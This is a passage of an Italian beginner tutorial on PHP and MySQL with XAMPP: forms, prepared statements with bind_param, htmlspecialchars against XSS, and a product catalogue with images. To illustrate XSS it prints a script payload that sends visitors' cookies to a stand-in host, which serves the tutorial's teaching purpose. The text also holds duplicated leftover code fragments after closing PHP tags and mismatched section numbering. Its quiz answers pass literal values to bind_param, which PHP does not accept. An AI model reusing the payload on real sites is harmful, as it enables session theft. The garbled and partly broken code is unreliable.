];

# Per prendere i valori:
$_POST["nome"]; # β†’ "Laptop"
$_POST["prezzo"]; # β†’ "999"
πŸ’‘ Analogia della rubrica telefonica: βœ… PerchΓ© Γ¨ utile?
Per visualizzare un numero di telefono non devi ricordare la posizione (0, 1, 2...), ma ricordi il nome associato ("Mario", "Giulia",...).
In questo caso la coppia chiave β†’ valore Γ¨ nome β†’ numeroDiTelefono!

🎯 Capire $_POST in dettaglio

$_POST Γ¨ una variabile speciale di PHP che esiste automaticamente. Contiene tutti i dati inviati da un form con method="post".

L'utente ha compilato:
Nome: Laptop Gaming
Descrizione: 16GB RAM
Prezzo: 1299.99
➑️
$_POST contiene:
[ "nome" => "Laptop Gaming", "descrizione" => "16GB RAM", "prezzo" => "1299.99" ]

Per prendere un valore: $_POST['nome_del_campo']

πŸ” Cos'Γ¨ il Binding?

Binding (dal verbo inglese "to bind" = legare/collegare) Γ¨ il meccanismo che collega i valori reali delle variabili PHP ai segnaposto "?" nella query SQL preparata.

Invece di inserire direttamente i valori nella stringa SQL (rischioso per la SQL Injection), usiamo i "?" come segnaposto. Il binding dice al database: "al primo ? metti questa variabile, al secondo quest'altra", e il database si occupa di controllare che il tipo di dato sia corretto (numero, testo, ecc.) e di proteggere da attacchi.

πŸ’‘ Come funziona il binding:

Query con segnaposto
INSERT INTO prodotti VALUES (?, ?, ?)
Binding
bind_param("ssd", $nome, $desc, $prezzo)

bind_param() collega il primo ? alla variabile $nome, il secondo ? alla variabile $desc, il terzo ? alla variabile $prezzo.

La stringa "ssd" indica che: $nome Γ¨ di tipo stringa, $desc Γ¨ di tipo stringa, $prezzo Γ¨ di tipo decimale (double).

πŸ“‹ I Tipi di Dato in bind_param()

Il parametro "ssd" in bind_param("ssd", $nome, $desc, $prezzo) Γ¨ una stringa dove ogni lettera indica il tipo della variabile corrispondente:

Lettera Tipo PHP/MySQL Quando usarla
s String / VARCHAR / TEXT Nomi, email, descrizioni, qualsiasi testo
Anche per: DATE, DATETIME, TIMESTAMP (formato "YYYY-MM-DD")
i Integer / INT ID, quantitΓ , etΓ , numeri senza decimali
Anche per: BOOLEAN, TINYINT (1 = true, 0 = false)
d Double / DECIMAL / FLOAT Prezzi, percentuali, misure con decimali
b Blob / Binary File, immagini, dati binari (uso avanzato)

πŸ’‘ Esempio pratico: bind_param("isds", $id, $nome, $prezzo, $email)
significa: Integer, String, Double, String

⚠️ Errore comune: "Number of bind variables doesn't match"
Causa: I segnaposto ?, le lettere del tipo e le variabili non corrispondono in numero.
Regola d'oro: 3 segnaposto = 3 lettere = 3 variabili (sempre!)
❌ SBAGLIATO
VALUES (?, ?, ?)
bind_param("ss", $a, $b)
3 segnaposto, 2 tipi, 2 variabili ❌
β†’
βœ… CORRETTO
VALUES (?, ?, ?)
bind_param("ssd", $a, $b, $c)
3 segnaposto, 3 tipi, 3 variabili

🎯 Capire htmlspecialchars e perché è importante usarlo

htmlspecialchars trasforma i dati visualizzati tramite PHP in modo da rendere innocuo eventuale codice dannoso aggiunto da un hacker: il codice potenzialmente pericoloso diventa semplice testo visibile ma inoffensivo proteggendo così dagli attacchi XSS (Cross-Site Scripting)

❌ SENZA htmlspecialchars()
<td><?php echo $row["nome"]; ?></td>

Se il nome contiene codice HTML come <script>alert('hack')</script>, viene eseguito!

➑️
βœ… CON htmlspecialchars()
<td><?php echo htmlspecialchars($row["nome"]); ?></td>

Il codice HTML inserito in nome "<script>alert('hack')</script>" viene reso innocuo trasformandolo in : &lt;script&gt;alert('hack')&lt;/script&gt;

htmlspecialchars rende innocuo codice inserito da un hacker convertendo alcuni caratteri. Caratteri convertiti:

⚠️ Perché è così importante?

Immagina che un utente malevolo inserisca nel campo "nome" questo codice:

<script>document.location='http://miosito.com?cookie='+document.cookie</script>

Scenario A: Senza protezione
Se mostri questo valore direttamente, il browser non visualizzerΓ  nulla, ma eseguirΓ  il comando. L'utente verrΓ  reindirizzato e i suoi cookie rubati. A schermo la pagina apparirΓ  bianca o interrotta.


Scenario B: Con htmlspecialchars()
Il server converte i caratteri speciali, anche quelli del codice aggiunto dall'hacker, prima di inviarli al browser:

Codice Sorgente (HTML) CiΓ² che il Browser MOSTRA
&lt;script&gt; <script>

In questo modo, il codice malevolo viene visualizzato come testo normale e innocuo, e appare su schermo esattamente così:

<script>document.location='http://miosito.com?cookie='+document.cookie</script>

(Vedi? Ora Γ¨ solo una scritta a video, il browser non lo interpreta piΓΉ come un comando!)

7. La ricerca: chiedere dati al database

πŸ” ricerca.html
<!DOCTYPE html>
<html lang="it">
<head>
    <meta charset="UTF-8">
    <title>Cerca Prodotti</title>
</head>
<body>
    <h2>πŸ” Cerca Prodotti</h2>
    
    <!-- Usiamo GET perchΓ© Γ¨ una ricerca (lettura, non modifica) -->
    <form action="ricerca.php" method="get">
        <label for="cerca_nome">Cerca per nome:</label>
        <input type="text" id="cerca_nome" name="nome" placeholder="es: laptop, mouse...">
        <input type="submit" value="πŸ” Cerca">
    </form>
    
    <p><a href="index.html">← Torna alla home</a></p>
</body>
</html>
Usiamo method="get" perchΓ©:
πŸ” ricerca.php
<?php
// PASSO 1: Connessione
require_once 'connessione.php';

// PASSO 2: Recupera il termine cercato dall'URL
// (Con GET, i dati sono nell'URL: ricerca.php?nome=laptop)
$nome = $_GET['nome'];

// PASSO 3: Prepara la query di ricerca 
// Cerca il nome ESATTAMENTE come digitato dall'utente
// ? Γ¨ il segnaposto per il termine di ricerca
$stmt = $conn->prepare(
    "SELECT * FROM prodotti WHERE nome = ?"
);

// PASSO 4: Sostituisce il segnaposto con il valore della variabile $nome
$stmt->bind_param("s", $nome);

// PASSO 5: Esegui la ricerca
$stmt->execute();

// PASSO 6: Ottieni i risultati
$result = $stmt->get_result();

// PASSO 7: Visualizza i risultati con echo

// Mostra intestazione risultati
echo "<h2>Risultati per '" . htmlspecialchars($nome) . "'</h2>";

// Controlla se ci sono risultati ($result->num_rows Γ¨ il numero delle righe restituite dalla Query di ricerca)
if ($result->num_rows > 0) {
    echo "<p>Trovati <strong>" . $result->num_rows . "</strong> prodotti:</p>";
    
    // Inizio tabella: intestazione tabella
    echo "<table border='1' style='border-collapse: collapse; width: 100%;'>";
    echo "<tr style='background-color: #3498db; color: white;'>";
    echo "<th>ID</th><th>Nome</th><th>Descrizione</th><th>Prezzo</th></tr>";
    
    // Ciclo attraverso ogni riga della tabella restituita dalla Query per la ricerca
    while($row = $result->fetch_assoc()) {
        echo "<tr>";
        echo "<td>" . $row["id"] . "</td>";
        echo "<td>" . htmlspecialchars($row["nome"]) . "</td>";
        echo "<td>" . htmlspecialchars($row["descrizione"]) . "</td>";
        echo "<td>€" . $row["prezzo"] . "</td>";
        echo "</tr>";
    }
    
    echo "</table>";
} else {
    echo "<p>❌ Nessun prodotto trovato.</p>";
}

// Link per nuova ricerca
echo "<p>";
echo "<a href='ricerca.html'>πŸ” Nuova ricerca</a> | ";
echo "<a href='index.html'>Β  Home</a>";
echo "</p>";

// PASSO 8: Chiudi le connessioni
$stmt->close();
$conn->close();
?>
    
    echo "</table>";
} else {
    echo "<p>❌ Nessun prodotto trovato.</p>";
}

// Link per nuova ricerca
echo "<p>";
echo "<a href='ricerca.html'>πŸ” Nuova ricerca</a> | ";
echo "<a href='index.html'>Β  Home</a>";
echo "</p>";

// PASSO 9: Chiudi le connessioni
$stmt->close();
$conn->close();
?>

🎯 Capire gli Array Associativi ($row)

Quando usi fetch_assoc(), ogni riga della tabella restituita dalla query diventa un array associativo: un array dove ogni cella ha un nome e la cella non Γ¨ individuata dal suo indice ma dal suo nome

Immagina una scheda anagrafica:

ID:1
Nome:Laptop Gaming
Descrizione:16GB RAM, SSD
Prezzo:1299.99


In PHP, questa scheda Γ¨ l'array $row, e per leggere un valore usi l'etichetta(il nome della cella):
  • $row["nome"] β†’ "Laptop Gaming"
  • $row["prezzo"] β†’ "1299.99"
Riga tabella della Query di ricerca
idnomeprezzo
1Laptop999
➑️
fetch_assoc()
Array PHP ($row) (struttura di una cella dell'array: etichetta cella => valore cella)
$row = [
  "id" => 1,
  "nome" => "Laptop",
  "prezzo" => 999
];

🎯 Capire il ciclo while con fetch_assoc()

πŸ” Come funziona il ciclo while($row = $result->fetch_assoc())?

Per capire il ciclo, leggiamo la Storia del Magazziniere

Il capo ha chiesto al magazziniere: "Prepara un elenco completo di tutti i prodotti che abbiamo, in ordine, in una bella tabella".

Il magazziniere ha a disposizione:

La funzione fetch_assoc() Γ¨ il suo lavoro: con le sue mani, prende una scheda originale dallo scatolone, la legge e la riscrive in un foglietto chiaro e semplice (l'array associativo, con etichette tipo "nome", "prezzo"), e poi appoggia quel foglietto sul bancone.


Ecco cosa succede nel ciclo while:

L'operazione: $row = $result->fetch_assoc()

  1. Il magazziniere infila la mano nello scatolone e cerca una scheda originale.
  2. Se trova una scheda:
    • La prende.
    • La trasforma: riscrive i dati dalla scheda originale in un nuovo foglietto facile da leggere, con sopra scritto chiaramente "Nome: Laptop", "Prezzo: 1000", ecc.
    • Appoggia questo nuovo foglietto ($row) sul bancone.
  3. Se NON trova una scheda: non avendo nulla da trasformare, mette sul bancone un cartellino rosso con scritto "Fine elenco" (in PHP si chiama NULL).

Il controllo del while:

Subito dopo, il ciclo guarda il bancone:


Il Ciclo Passo dopo Passo

Prima del ciclo: Il magazziniere ha lo scatolone pieno di schede originali, il bancone vuoto, e la tabella vuota.

Giro 1:
Mano nello scatolone β†’ trova la scheda originale del Laptop.
La trasforma in un foglietto leggibile: ["nome" => "Laptop", "prezzo" => 1000].
Appoggia il foglietto sul bancone ($row).
βœ… Il ciclo vede il foglietto β†’ il magazziniere legge "Laptop, €1000" e scrive la prima riga della tabella.
Giro 2:
Mano nello scatolone β†’ trova la scheda originale del Mouse.
La trasforma in un nuovo foglietto: ["nome" => "Mouse", "prezzo" => 20] (il vecchio foglietto viene buttato via).
Appoggia il nuovo foglietto sul bancone ($row ora contiene i dati del Mouse).
βœ… Il ciclo vede il foglietto β†’ legge "Mouse, €20" e scrive la seconda riga.
Giro 3 (e successivi):
Stesso meccanismo per Monitor, Tastiera, ecc.
Giro Finale:
Mano nello scatolone β†’ non ci sono piΓΉ schede originali.
Non potendo trasformare nulla, appoggia sul bancone il cartellino "Fine elenco" (NULL).
❌ Il ciclo guarda il bancone, vede il cartellino e si ferma.

Il risultato finale

Alla fine, la tabella Γ¨ completa:

Nome Prezzo
Laptop€1000
Mouse€20
Monitor€300
PerchΓ© Γ¨ importante la "trasformazione"?

Perché la scheda originale nel database non è direttamente utilizzabile da PHP. fetch_assoc() traduce i dati in un linguaggio che PHP capisce (l'array associativo). È come se il magazziniere ricevesse schede scritte in codice e le riscrivesse in italiano semplice sul foglietto, prima di leggerle per compilare la tabella.

πŸ“Œ Ricorda:
Foglietto = $row (array associativo)
Scatolone = $result (risultato della query)
Mano che trasforma = fetch_assoc()

8. Riepilogo: Il flusso completo

πŸ“ Scenario: Inserimento di un prodotto

1. Utente apre inserimento.html
⬇️ compila il form
2. Clicca "Salva"
⬇️ browser invia POST a inserimento.php
3. PHP riceve dati in $_POST
⬇️
4. PHP prepara query con i segnaposto ?
⬇️
5. bind_param inserisce i valori ottenuti con post nei segnaposti
⬇️
6. execute() salva nel DB
⬇️
7. Utente vede "Salvato!" βœ…

πŸ” Scenario: Ricerca di prodotti

1. Utente apre ricerca.html
⬇️ scrive "laptop"
2. Clicca "Cerca"
⬇️ browser va a ricerca.php?nome=laptop
3. PHP legge $_GET['nome']
⬇️
4. Query: SELECT ... WHERE nome = ?
⬇️
5. Bind: Sostituisce il segnaposto "?" con il valore $nome
⬇️
6. execute() interroga il DB
⬇️
7. while + fetch_assoc() scorre risultati e li inserisce nella tabella che l'utente visualizzerΓ 
⬇️
8. Utente vede tabella prodotti πŸ“‹

πŸ“š Concetti chiave da ricordare

$_POST / $_GET Array associativi che contengono i dati inviati dal form. Usi il name del campo(ad esempio nei campi di testo input type=...) come chiave (la chiave della cella di un array associativo Γ¨ l'etichetta della cella).
Segnaposto (?) Segnaposto nella query. Il valore viene inserito dopo in modo sicuro.
bind_param("tipi", ...) Sostituisce i segnaposto con i valori di tipo sidb ottenuti con $_POST / $_GET ove:
s = stringa (VARCHAR, TEXT, CHAR, DATE, DATETIME, TIMESTAMP)
i = intero (INT, INTEGER, BOOLEAN, TINYINT)
d = decimale (DECIMAL, FLOAT, DOUBLE)
b = blob (BLOB, file binari)

Nota: le lettere sono evidenziate con colori diversi per distinguerle visivamente. Note importanti:
β€’ DATE/DATETIME: usa "s" con formato "YYYY-MM-DD" o "YYYY-MM-DD HH:MM:SS"
β€’ BOOLEAN: usa "i" con 1 (true) o 0 (false)
fetch_assoc() Legge una riga dalla tabella risultante della query e la restituisce come array associativo, da assegnare tipicamente a $row.
$row["nome_colonna"] Accede al valore di una colonna specifica nella riga corrente. Ad esempio, se la query restituisce le colonne nome, prezzo, descrizione, si accede al prezzo con $row["prezzo"].
htmlspecialchars() Rende sicuro mostrare dati utente in HTML (previene attacchi XSS - Cross-Site Scripting).
Ora dovresti saper rispondere a queste domande:
  1. PerchΓ© usiamo i segnaposto (?) invece di scrivere i valori direttamente nella query?
    Risposta:Per sicurezza! Se scrivi i valori direttamente, un utente potrebbe inserire codice SQL pericoloso. Con i segnaposto, MySQL tratta tutto come semplice testo, non come comandi da eseguire.
  2. Cosa significa "ssd" in bind_param("ssd", $a, $b, $c)?
    Risposta:Sono i tipi di dato: s=stringa, s=stringa, d=numero decimale. Dice a MySQL che tipo di valore aspettarsi per ogni parametro.
  3. Come gestisci una colonna DATE o DATETIME con bind_param()?
    Risposta:Usi "s" (stringa) con il formato "YYYY-MM-DD" per DATE o "YYYY-MM-DD HH:MM:SS" per DATETIME. Esempio: bind_param("s", "2026-03-16").
  4. Come gestisci una colonna BOOLEAN con bind_param()?
    Risposta:Usi "i" (intero) con 1 per true/vero o 0 per false/falso. Esempio: bind_param("i", 1) per attivo, bind_param("i", 0) per inattivo.
  5. Cosa fa $_POST['nome']?
    Risposta:Recupera il valore del campo con name="nome" dal form inviato. Se l'utente ha scritto "Mario" in quel campo, $_POST['nome'] vale "Mario".
  6. PerchΓ© usiamo while con fetch_assoc()?
    Risposta:PerchΓ© fetch_assoc() prende una riga alla volta dal risultato. Il while continua finchΓ© ci sono righe da leggere.
  7. Qual Γ¨ la differenza tra GET e POST?
    Risposta:GET: i dati si vedono nell'URL (adatto per ricerche). POST: i dati non appaiono nell'URL (adatto per password, inserimento dati). ⚠️ Non sono crittografati di default.

Se sai rispondere, hai capito i concetti fondamentali! πŸŽ‰

9. Catalogo Prodotti con Immagini

Obiettivo: Creare un sito web semplice che permetta di inserire e cercare prodotti in un database, mostrando anche le loro immagini.

Strumenti: XAMPP (Apache + MySQL + PHP), un editor di testo (come Notepad++ o VS Code), un browser.

Approccio: Spiegheremo ogni passaggio come se fosse la prima volta che lo fai. Niente termini tecnici senza spiegazione.

βœ… 1. Cosa imparerai:

πŸ“‚ 2. Come organizzare i file del progetto

XAMPP ha una cartella speciale chiamata htdocs (abbreviazione di "HTML Documents"). È la radice del tuo sito web: tutto ciò che ci metti dentro C:\xampp\htdocs\ sarà accessibile via browser.

Per il nostro progetto, creiamo questa struttura: nella cartella C:\xampp\htdocs\ crei la sottocartella progetto, poi, usando un editor come VS Code, crei (copiando il codice che ti fornirΓ² dopo) i file index.html, inserimento.html, ricerca.html, connessione.php, inserimento.php, ricerca.php e li salvi nella sottocartella progetto; crei la sottocartella immagini, inserisci le immagini laptop.jpg, mouse.png; avrai infine la struttura:

File del progetto
C:\xampp\htdocs\progetto\index.html         ← Menu principale (pagina di benvenuto)
C:\xampp\htdocs\progetto\inserimento.html   ← Form per inserire nuovi prodotti
C:\xampp\htdocs\progetto\ricerca.html       ← Form per cercare prodotti
C:\xampp\htdocs\progetto\connessione.php    ← File "segreto" con le chiavi del database
C:\xampp\htdocs\progetto\inserimento.php    ← Il "cervello" che salva i dati nel DB
C:\xampp\htdocs\progetto\ricerca.php        ← Il "cervello" che legge i dati dal DB
C:\xampp\htdocs\progetto\immagini\          ← Cartella dove metterai le foto dei prodotti
C:\xampp\htdocs\progetto\immagini\laptop.jpg
C:\xampp\htdocs\progetto\immagini\mouse.png
...

Come aprire il progetto: Nel browser scrivi http://localhost/progetto/index.html

πŸ“„ Il codice di index.html (pagina principale)

Questa Γ¨ la pagina di benvenuto che mostra il menu con i link alle varie funzionalitΓ  del progetto.

9.2 La pagina principale: index.html

Questa è la pagina di benvenuto del tuo sito. È come l'ingresso di un negozio:
πŸ“„ index.html
<!DOCTYPE html>
<html lang="it">
<head>
    <meta charset="UTF-8">
    <title>Catalogo Prodotti - Home</title>
</head>
<body>
    <h1>Catalogo Prodotti</h1>

    <p><a href="inserimento.html">Inserisci prodotto</a></p>
    <p><a href="ricerca.html">Ricerca prodotto</a></p>
</body>
</html>

9.3 Creare il database e la tabella prodotti

Il database Γ¨ come un enorme archivio con cassetti:

πŸ“ Comandi SQL per creare tutto

Apri http://localhost/phpmyadmin e segui la procedura per importare il database vista nella Sezione 0.

πŸ“„ database.sql
-- 1. Creiamo il database (l'archivio)
CREATE DATABASE IF NOT EXISTS web_app;

-- 2. Usiamo questo database
USE web_app;

-- 3. Creiamo la tabella prodotti (il cassetto)
CREATE TABLE IF NOT EXISTS prodotti (
    id INT AUTO_INCREMENT PRIMARY KEY,   -- Numero unico che si assegna da solo
    nome VARCHAR(20) NOT NULL,           -- Nome del prodotto (max 20 caratteri)
    descrizione TEXT,                    -- Descrizione lunga (illimitata)
    prezzo DECIMAL(6,2) NOT NULL,        -- Prezzo con 2 decimali (es: 99.99)
    immagine VARCHAR(255)                -- Percorso dell'immagine (es: "immagini/laptop.jpg")
);
Cosa significa ogni colonna?
Colonna Tipo Spiegazione Esempio
id INT AUTO_INCREMENT PRIMARY KEY Numero che aumenta automaticamente. È l'identificativo unico del prodotto. Non lo inserisci tu, lo sistema il database da solo. 1, 2, 3, 4...
nome VARCHAR(20) NOT NULL Testo corto (massimo 20 caratteri). NOT NULL significa che Γ¨ obbligatorio, non puΓ² essere vuoto. "Laptop HP", "Mouse Wireless"
descrizione TEXT Testo lungo senza limiti pratici. PuΓ² essere vuoto. "Portatile 15 pollici, 16GB RAM, SSD 512GB..."
prezzo DECIMAL(6,2) Numero con 2 decimali. Il primo numero (6) Γ¨ le cifre totali, il secondo (2) sono i decimali. 1199.99, 29.50
immagine VARCHAR(255) Testo che contiene il percorso del file immagine (es: "immagini/laptop.jpg"). PuΓ² essere vuoto. "immagini/prodotto1.jpg"

9.4 Il file che "apre la porta" del database: connessione.php

Per parlare con il database, hai bisogno di una "chiave" che contiene:

Il codice di connessione.php

<?php
// 1. Dati per collegarsi al database
$servername = "localhost";    // Il database Γ¨ sul tuo computer
$username = "root";           // Utente amministratore
$password = "";               // ATTENZIONE: su XAMPP la password Γ¨ VUOTA!
$dbname = "web_app";          // Nome del database che abbiamo creato

// 2. Tentativo di connessione
$conn = new mysqli($servername, $username, $password, $dbname);

// 3. Controllo: se la connessione fallisce, ferma tutto e mostra l'errore
if ($conn->connect_error) {

    die("❌ Connessione fallita: " . $conn->connect_error);
}
?>
πŸ” Spiegazione riga per riga:
⚠️ Se vedi "Access denied for user 'root'@'localhost'":

La password Γ¨ sbagliata. Su XAMPP la password di root Γ¨ vuota. Prova a cambiare $password = ""; (con le virgolette vuote). Se hai cambiato la password in phpMyAdmin, metti quella.

9.5 Il form per inserire un prodotto: inserimento.html

Questa pagina Γ¨ come un modulo cartaceo che l'utente compila. Quando clicca "Salva", i dati vengono inviati a inserimento.php.

Il codice di inserimento.html

<!DOCTYPE html>
<html lang="it">
<head>
    <meta charset="UTF-8">
    <title>Inserisci Prodotto</title>
</head>
<body>
    <h2>πŸ“ Inserisci Nuovo Prodotto</h2>
    
    <form action="inserimento.php" method="post">
        <label>Nome prodotto:</label><br>
        <input type="text" name="nome" required><br><br>
        
        <label>Descrizione:</label><br>
        <textarea name="descrizione" rows="3" cols="40"></textarea><br><br>
        
        <label>Prezzo (€):</label><br>
        <input type="number" name="prezzo" step="0.01" required><br><br>
        
        <label>Nome file immagine (es: laptop.jpg):</label><br>
        <input type="text" name="immagine" placeholder="Inserisci il nome del file"><br><br>
        
        <input type="submit" value="πŸ’Ύ Salva Prodotto">
    </form>
    
    <p><a href="index.html">← Torna alla home</a></p>
</body>
</html>
🎯 Parti importanti del form:
⚠️ Attenzione alle immagini:

Il campo "Nome file immagine" non carica il file! Devi prima copiare manualmente l'immagine (es: laptop.jpg) nella cartella immagini del progetto, poi scrivere qui solo il nome del file.

9.6 Il "cervello" che salva i dati: inserimento.php

Questo file fa tre cose:

  1. Riceve i dati dal form (attraverso $_POST)
  2. Si collega al database (con connessione.php)
  3. Salva i dati nella tabella prodotti

Il codice di inserimento.php

<?php
// 1. APRO la "porta" del database
require_once 'connessione.php';

// 2. PRENDO i dati che l'utente ha inviato dal form
$nome = $_POST['nome'];           // Es: "Laptop Gaming"
$descrizione = $_POST['descrizione']; // Es: "16GB RAM, SSD 512GB"
$prezzo = $_POST['prezzo'];       // Es: 1299.99
$immagine = $_POST['immagine'];   // Es: "laptop.jpg" (nome dell'immagine)

// 3. SE l'utente ha scritto un nome immagine (es: laptop.jpg),
// COSTRUISCO il percorso completo per accedere all'immagine e visualizzarla
if (!empty($immagine)) {
    $immagine = "immagini/" . $immagine;   // da laptop.jpg ottengo immagini/laptop.jpg
} else {
    $immagine = NULL;   // Se non ha scritto niente, lascio il campo vuoto (NULL)
}

// 4. PREPARO la query con SEGNAPOSTI (?) - METODO SICURO!
$stmt = $conn->prepare(
    "INSERT INTO prodotti (nome, descrizione, prezzo, immagine)
     VALUES (?, ?, ?, ?)"
);

// 5. "LEGO" i valori veri ai segnaposto
// "ssds" = stringa, stringa, double, stringa
$stmt->bind_param("ssds", $nome, $descrizione, $prezzo, $immagine);

// 6. ESEGUO la query: i dati vengono salvati nel database!
$stmt->execute();

// 7. Mostro un messaggio di conferma all'utente
echo "<h2>βœ… Prodotto salvato con successo!</h2>";
echo "<p>Nome: " . htmlspecialchars($nome) . "</p>";
echo "<p>Prezzo: €" . htmlspecialchars($prezzo) . "</p>";
if ($immagine) {
    echo "<p>Immagine: <img src='" . htmlspecialchars($immagine) . "' width='100'></p>";
}
echo "<p><a href='index.html'>← Torna alla home</a></p>";

// 8. Chiudo tutto
$stmt->close();
$conn->close();
?>

9.7 Cercare prodotti: ricerca.html e ricerca.php

Ora creiamo una pagina per cercare i prodotti per nome. La ricerca Γ¨ una operazione di lettura, quindi usiamo method="get" (i dati appaiono nell'URL).

ricerca.html (il form di ricerca)

<!DOCTYPE html>
<html lang="it">
<head>
    <meta charset="UTF-8">
    <title>Cerca Prodotti</title>
</head>
<body>
    <h2>πŸ” Cerca Prodotti</h2>
    <form action="ricerca.php" method="get">
        <label>Cerca per nome:</label>
        <input type="text" name="nome" placeholder="es: laptop, mouse...">
        <input type="submit" value="πŸ” Cerca">
    </form>
    <p><a href="index.html">← Torna alla home</a></p>
</body>
</html>

ricerca.php (il "cervello" della ricerca)

<?php
require_once 'connessione.php';

// 1. PRENDO il termine di ricerca dall'URL
$nome = $_GET['nome'];   // Es: ?nome=laptop  $nome = "laptop"

// 2. PREPARO la query (con segnaposto per sicurezza)
$stmt = $conn->prepare(
    "SELECT * FROM prodotti WHERE nome = ?"
);
$stmt->bind_param("s", $nome);   // "s" = stringa

// 3. ESEGUO la query
$stmt->execute();
$result = $stmt->get_result();   // Ottengo i risultati

// 4. MOSTRO i risultati
echo "<h2>Risultati per '" . htmlspecialchars($nome) . "'</h2>";

if ($result->num_rows > 0) {
    echo "<p>Trovati <strong>" . $result->num_rows . "</strong> prodotti:</p>";

    // Intestazione tabella
    echo "<table border='1' style='border-collapse: collapse; width: 100%;'>";
    echo "<tr style='background-color: #3498db; color: white;'>";
    echo "<th>ID</th><th>Immagine</th><th>Nome</th><th>Descrizione</th><th>Prezzo</th></tr>";

    // 5. CICLO tutti i risultati (una riga per prodotto)
    while($row = $result->fetch_assoc()) {
        echo "<tr>";
        echo "<td>" . $row["id"] . "</td>";

        // Se c'Γ¨ l'immagine, la mostro, altrimenti "N/D"
        if (!empty($row["immagine"])) {
            echo "<td><img src='" . htmlspecialchars($row["immagine"]) . "' width='80'></td>";
        } else {
            echo "<td>N/D</td>";
        }

        echo "<td>" . htmlspecialchars($row["nome"]) . "</td>";
        echo "<td>" . htmlspecialchars($row["descrizione"]) . "</td>";
        echo "<td>€" . $row["prezzo"] . "</td>";
        echo "</tr>";
    }

    echo "</table>";
} else {
    echo "<p>⚠️ Nessun prodotto trovato.</p>";
}

// Link per nuova ricerca
echo "<p><a href='ricerca.html'>πŸ” Nuova ricerca</a> | ";
echo "<a href='index.html'>Β  Home</a></p>";

// Chiudi le connessioni
$stmt->close();
$conn->close();
?>

        echo "<td>" . htmlspecialchars($row["nome"]) . "</td>";
        echo "<td>" . htmlspecialchars($row["descrizione"]) . "</td>";
        echo "<td>€" . $row["prezzo"] . "</td>";
        echo "</tr>";
    }

    echo "</table>";
} else {
    echo "<p>⚠️ Nessun prodotto trovato.</p>";
}

echo "<p><a href='ricerca.html'>πŸ” Nuova ricerca</a> | ";
echo "<a href='index.html'>Β  Home</a></p>";

$stmt->close();
$conn->close();
?>

In questo progetto NON salviamo le immagini nel database (non usiamo il tipo BLOB). PerchΓ©?

πŸ“ La cartella "immagini"

Devi creare manualmente questa cartella dentro C:\xampp\htdocs\progetto\.

C:\xampp\htdocs\progetto\immagini\laptop.jpg
C:\xampp\htdocs\progetto\immagini\mouse.png
C:\xampp\htdocs\progetto\immagini\...
⚠️ COME FUNZIONA (passo passo):
  1. Tu copi un file immagine (es: foto.jpg) dentro la cartella immagini del progetto.
  2. Tu nel form di inserimento, scrivi nel campo "Nome file immagine": foto.jpg
  3. PHP prende quel nome e lo combina con il percorso: "immagini/" . "foto.jpg" β†’ "immagini/foto.jpg"
  4. PHP salva il percorso "immagini/foto.jpg" nel database (nella colonna immagine)
  5. PHP quando deve mostrare il prodotto, legge il percorso dal database e lo mette dentro un tag <img src="...">
  6. Il browser vede <img src="immagini/foto.jpg"> e va a prendersi il file dalla cartella immagini

9.8 Test Rapido: Verifichiamo che tutto funzioni

Dopo aver caricato il database, creato i file index.html, inserimento.html, inserimento.php,ricerca.html, ricerca.php (che ricordo devono essere salvati nella sottocartella progetto della cartella htdocs), segui questi passi per essere sicuro che il tuo progetto sia corretto e funzionante:

  1. Crea la cartella immagini
    C:\xampp\htdocs\progetto\immagini\
  2. Metti un'immagine di prova dentro quella cartella (es: prova.jpg)
  3. Apri il browser e vai su http://localhost/progetto/inserimento.html
  4. Compila il form:
  5. Clicca "Salva Prodotto" β†’ Dovresti vedere la pagina di conferma con i dati e l'anteprima dell'immagine
  6. Apri un nuovo tab e vai su http://localhost/progetto/ricerca.html
  7. Cerca "prova" (o il nome che hai inserito)
  8. Verifica che nella tabella appaia l'immagine
πŸŽ‰ Se hai visto l'immagine nella tabella, FUNZIONA TUTTO!

Hai creato un'applicazione web completa che:

9.9 Risoluzione Problemi Comuni

❌ "Port 80 in use" Apache non si avvia

La porta 80 Γ¨ giΓ  usata da un altro programma (spesso Skype, TeamViewer o IIS).

❌ MySQL non si avvia "MySQL shutdown unexpectedly"

Cause comuni:

❌ Pagina bianca o errori PHP

Se vedi una pagina bianca invece del codice, significa che ci sono errori PHP che non vengono mostrati.

Per abilitare la visualizzazione degli errori:

  1. Apri C:\xampp\php\php.ini
  2. Cerca display_errors e cambia in display_errors = On
  3. Cerca error_reporting e imposta error_reporting = E_ALL
  4. Riavvia Apache dal pannello di controllo

πŸ“š Glossario Finale: Le Parole che Devi Sapere

🎯 Riassunto del Flusso Completo

Scenario: Inserimento di un prodotto con immagine

  1. Utente apre inserimento.html e compila il form (nome, descrizione, prezzo, nome file immagine)
  2. Clicca "Salva" β†’ Browser invia i dati con POST a inserimento.php
  3. inserimento.php riceve i dati in $_POST
  4. Costruisce il percorso completo dell'immagine: "immagini/" . $_POST['immagine']
  5. Prepara la query con ? (segna posti)
  6. Collega i valori ai segnaposti con bind_param("ssds", ...)
  7. Esegue la query: i dati (incluso il percorso immagine) vengono salvati nel database
  8. Mostra all'utente "Prodotto salvato!" con i dati e l'anteprima dell'immagine

Scenario: Ricerca di prodotti

  1. Utente apre ricerca.html e scrive "laptop"
  2. Clicca "Cerca" β†’ Browser va a ricerca.php?nome=laptop
  3. ricerca.php legge $_GET['nome']
  4. Prepara la query: SELECT * FROM prodotti WHERE nome = ?
  5. Collega il valore "laptop" al segnaposto con bind_param("s", $nome)
  6. Esegue la query e ottiene i risultati
  7. Cicla tutti i risultati con while($row = $result->fetch_assoc())
  8. Per ogni prodotto, stampa una riga della tabella, includendo l'immagine con <img src="...">
  9. Utente vede la tabella con i prodotti e le immagini
Sei arrivato alla fine!

Hai imparato a:

Prossimi passi: Potresti aggiungere la modifica dei prodotti, la cancellazione, il caricamento diretto delle immagini, la paginazione, ecc.

10. Gestione Immagini Avanzato: Caricamento dal Computer

Nella versione base, l'utente doveva copiare manualmente l'immagine nella cartella immagini e poi scriverne il nome nel form. Ora rendiamo l'inserimento piΓΉ semplice per l'utente: l'utente puΓ² selezionare un'immagine direttamente dal proprio computer con un clic, e il server si occuperΓ  di salvarla automaticamente nella cartella immagini.

πŸ“Œ Cosa cambia rispetto alla versione precedente?

πŸ“ 8.1 Modifica di inserimento.html

Il form deve avere l'attributo enctype="multipart/form-data" e un campo di tipo file:

<!DOCTYPE html>
<html lang="it">
<head>
    <meta charset="UTF-8">
    <title>Inserisci Prodotto</title>
</head>
<body>
    <h2>πŸ“ Inserisci Nuovo Prodotto</h2>
    
